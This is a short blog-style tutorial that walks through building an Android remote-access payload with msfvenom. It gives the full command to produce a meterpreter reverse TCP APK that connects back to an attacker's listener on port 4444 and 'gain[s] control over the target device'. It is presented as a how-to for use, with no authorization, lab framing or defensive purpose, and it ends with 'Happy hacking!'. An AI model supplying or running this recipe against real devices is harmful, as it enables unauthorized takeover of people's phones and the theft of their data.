How To Create A Payload Using Msfvenom For Android

Android Apps

Hey there! Today, I’m going to walk you through the process of creating a custom payload for an Android device using msfvenom. It’s a powerful tool for creating custom payloads, and I’ve found it incredibly useful in my work. So, let’s dive in!

Understanding msfvenom

Before we get started, let’s talk a bit about msfvenom. This is a combination of MSF (Metasploit Framework) payload generation and encoding tool. It allows us to create payloads that can be executed on a target machine to perform a variety of tasks, such as establishing reverse shells or executing commands.

Step 1: Target Android

First things first, we need to specify the platform for which we are creating the payload. In this case, we’re targeting Android. So, I use the -p android/ option to set the payload to Android.

Step 2: Choosing the Payload Type

Next, we need to choose the type of payload we want to create. For example, if I want to create a reverse TCP shell, I use the android/meterpreter/reverse_tcp payload. This will allow me to gain control over the target device.

Step 3: Setting up Host and Port

I also need to specify the IP address and port number that the target device will connect back to. I do this using the LHOST and LPORT options. For example, LHOST= LPORT=4444.

Step 4: Output Format

Now, I can specify the output format for the payload. I usually go for an apk format, as it’s compatible with Android devices. I do this by using the -f apk option.

Step 5: Generating the Payload

Finally, it’s time to generate the payload. I simply run the command, and msfvenom does its magic. For example, msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=4444 -f apk > payload.apk.


And there you have it! With just a few simple steps, we’ve created a custom payload for an Android device using msfvenom. This is just the tip of the iceberg when it comes to the capabilities of msfvenom, so I highly encourage you to explore further and see what else you can accomplish with this powerful tool. Happy hacking!